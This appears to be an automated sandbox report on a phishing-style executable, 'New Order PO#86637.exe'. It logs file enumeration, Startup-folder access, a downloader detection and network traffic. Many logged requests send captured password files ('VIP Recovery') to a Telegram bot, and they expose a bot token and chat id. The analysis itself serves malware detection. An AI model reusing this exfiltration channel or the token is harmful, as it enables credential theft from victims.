Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	5_2_00452492
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_00442886
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	5_2_004788BD
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	5_2_004339B6
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	5_2_0045CAFA
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	5_2_00431A86
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	5_2_0044BD27
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0045DE8F FindFirstFileW,FindClose,	5_2_0045DE8F
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	5_2_0044BF8B

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0298F45Dh	3_2_0298F2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0298F45Dh	3_2_0298F4AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0298FC19h	3_2_0298F961
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 065431E0h	3_2_06542DC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 06540D0Dh	3_2_06540B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 06541697h	3_2_06540B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 06542C19h	3_2_06542968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0654E0A9h	3_2_0654DE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0654E959h	3_2_0654E6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0654F209h	3_2_0654EF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0654CF49h	3_2_0654CCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0654D7F9h	3_2_0654D550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 065431E0h	3_2_06542DC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0654E501h	3_2_0654E258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0654EDB1h	3_2_0654EB08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0654F661h	3_2_0654F3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_06540040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0654FAB9h	3_2_0654F810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0654D3A1h	3_2_0654D0F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 065431E0h	3_2_0654310E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0654DC51h	3_2_0654D9A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0250F45Dh	6_2_0250F2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0250F45Dh	6_2_0250F4AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0250F45Dh	6_2_0250F52F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0250FC19h	6_2_0250F974
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CF31E0h	6_2_04CF2DC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CF2C19h	6_2_04CF2968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CF0D0Dh	6_2_04CF0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CF1697h	6_2_04CF0B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CFCF49h	6_2_04CFCCA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CF31E0h	6_2_04CF2DC2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CFD7F9h	6_2_04CFD550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CFE959h	6_2_04CFE6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_04CF0673
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CFE0A9h	6_2_04CFDE00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CFF209h	6_2_04CFEF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CFD3A1h	6_2_04CFD0F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_04CF0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	6_2_04CF0853
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CFFAB9h	6_2_04CFF810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CFDC51h	6_2_04CFD9A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CF31E0h	6_2_04CF310E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CFE501h	6_2_04CFE258
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CFF661h	6_2_04CFF3B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 04CFEDB1h	6_2_04CFEB08

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown	DNS query: name: api.telegram.org
Source: unknown	DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 5.2.name.exe.3f40000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.name.exe.3740000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2100522966.0000000003740000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2230016057.0000000003F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: global traffic	TCP traffic: 192.168.2.5:49745 -> 208.91.199.223:587
Source: global traffic	TCP traffic: 192.168.2.5:61592 -> 208.91.198.143:587

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:965543%0D%0ADate%20and%20Time:%2019/09/2024%20/%2018:25:46%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20965543%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:965543%0D%0ADate%20and%20Time:%2019/09/2024%20/%2021:04:09%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20965543%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcd9999c7f3372Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcd9aa313f3835Host: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcd9bb28caf6f0Host: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcd9c6eb4b45c9Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcd9d920235f7aHost: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcd9daf8508ec0Host: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcd9f34a734345Host: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcd9f129bc3f60Host: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcda0e47642328Host: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcda09bce7e3eeHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcda2a11e28f03Host: api.telegram.orgContent-Length: 560
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcda2b6f5946f9Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcda7b752d16fcHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcda4f67f6f17fHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdab15e90aa9cHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcda7d977e6e0cHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdaf9aed13a59Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdab98bdf9072Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdb6b0f853274Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdb0945efe091Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdbdd55c06625Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdc508e6a9ef6Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdb737b693935Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdee3d2d3270dHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdc15e6f642c6Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcde35e0cc7c14Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce1e59cb38a86Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce2c4fd9d50bbHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdf23b64c0193Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce3488763ca5dHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcdf9ea2613703Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce1f6e390835fHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce3d56841fb19Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce27d7cd6f4d1Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
